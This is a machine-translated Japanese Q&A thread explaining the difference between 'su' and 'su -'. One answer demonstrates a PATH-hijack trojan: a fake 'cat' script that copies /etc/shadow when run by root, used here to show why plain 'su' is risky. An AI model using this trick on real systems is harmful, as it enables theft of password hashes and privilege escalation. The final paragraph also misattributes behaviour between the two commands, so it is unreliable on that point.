Rootとしてログインする場合、su -
がsu
よりも優先される理由がわかりません。
su -
は、ユーザーの切り替え後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。
su
はユーザーを切り替えるだけで、通常のシェルに古いユーザーとほとんど同じ環境を提供します。
あなたがマシンへの通常のユーザーアクセス権を持つソフトウェア開発者であり、あなたの無知な管理者がrootアクセス権を与えないことを想像してみてください。 (うまくいけば)彼をだまそう。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
ここで、管理者にホームフォルダー内のダミーファイルをcat
できない理由を尋ねます。ダミーファイルは機能しません。
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
管理者がそれほど賢くない、または少し怠惰な場合、彼はあなたの机にやって来て、彼のスーパーユーザーの能力を試してみるかもしれません:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
うわー!おかげで、スーパー管理者!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
彼、彼。
破損した$PATH
変数がリセットされていないことに気づいたかもしれません。管理者が代わりにsu -
を呼び出した場合、これは発生しませんでした。
su -
は完全にrootとしてログインしますが、su
はrootになりすましてログインします。
この最も明白な例は、~
を使用する場合、su -
はrootのホームディレクトリですが、su
を使用する場合、独自のホームディレクトリです。
システムによっては、プロンプト、PATH
、または履歴ファイルの違いを意味する場合もあります。
したがって、システムを管理するチームの一員であり、同僚から実行のコマンドが与えられた場合、両方がsu -
を使用している場合でも同じように機能しますが、両方がsu
、シェル構成が異なるため、違いがある可能性があります。
一方、rootとしてコマンドを実行したいが、独自の設定を使用したい場合は、su
の方が適しています。
また、Sudo
についても忘れないでください。これには、ルートとして実行されているシェルを起動するための-s
オプションがあります。もちろん、これにはさまざまなルールがあり、使用しているディストリビューションに応じてルールが変わります。
主な違いは次のとおりです。
su - username
は、指定されたユーザーとしてクリーンログインであるかのようにシェル環境をセットアップし、指定されたユーザーの環境変数にアクセスして使用します。
su username
は、指定されたユーザーの現在の環境設定でシェルを起動します。
ユーザー名がsu
およびsu -
で指定されていない場合、rootアカウントがデフォルトとして暗黙的に使用されます。
私はsuを使用します。通常のユーザーとしてディレクトリにいるが、rootに切り替えて、切り替え後も同じディレクトリにとどまりたい場合です。 suを使用すると、ユーザーがrootに切り替えられ、ルートのホームディレクトリである/ rootにも移動します。